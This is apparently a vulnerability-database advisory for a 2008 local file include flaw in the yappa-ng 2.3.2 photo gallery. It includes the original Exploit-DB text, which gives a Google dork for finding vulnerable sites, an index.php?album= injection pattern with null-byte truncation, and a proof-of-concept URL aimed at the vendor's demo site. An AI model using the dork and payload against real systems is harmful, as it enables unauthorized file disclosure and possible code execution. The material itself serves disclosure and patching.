Local File Include Vulnerability

vendor:

yappa-ng

by:

Vrs-hCk

7.5

CVSS

HIGH

Local File Include

CWE

Product Name: yappa-ng

Affected Version From: 2.3.2002

Affected Version To: 2.3.2002

Patch Exists: YES

Related CWE: N/A

CPE: a:zirkon:yappa-ng

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Local File Include Vulnerability

A Local File Include (LFI) vulnerability exists in yappa-ng Version 2.3.2. An attacker can exploit this vulnerability to include local files on the vulnerable system. This can be exploited to disclose sensitive information, execute arbitrary code, and perform other attacks.

Mitigation:

Upgrade to the latest version of yappa-ng.

Source

Exploit-DB raw data:

[o]------------------------------------------------------------------------------------[x]
 |  Local File Include Vulnerability                                                    |
[o]------------------------------------------------------------------------------------[o]
 |  Software : yappa-ng Version 2.3.2                                                   |
 |  Vendor   : http://www.zirkon.at/zirkon/scripts/yappa-ng/yappa-ng_main_eng.html      |
 |  Date     : 19 October 2008                                                          |
 |  Author   : Vrs-hCk                                                                  |
 |  Contact  : d00r[at]telkom[dot]net                                                   |
[o]------------------------------------------------------------------------------------[o]

[Â»] Google Dork

    "Powered by yappa-ng 2.3.2"

[Â»] Exploit

    http://[site]/[yappa-ng-path]/index.php?album=[LFI]%00

[Â»] Proof of Concept

    http://www.zirkon.at/yappa-ng_demo/index.php?album=[LFI]%00

[o]------------------------------------------------------------------------------------[x]
 |  Greetz                                                                              |
[o]------------------------------------------------------------------------------------[o]
 |  All Member oF MainHack BrotherHood - www.MainHack.com - www.ServerIsDown.org        |
 |  Paman, OoN_Boy, NoGe, Fluzy, H312Y, s3t4n, NgL, ScanneD, }^-^{, eminem,             |
 |  loqsa, pizzyroot, xx_user, ^Bradley, ayulina, MaDOnk, nTc, dkk ...                  |
 |  c0li.m0de.0n & BeHave oR BeGone !!!                                                 |
[o]------------------------------------------------------------------------------------[o]

# milw0rm.com [2008-10-19]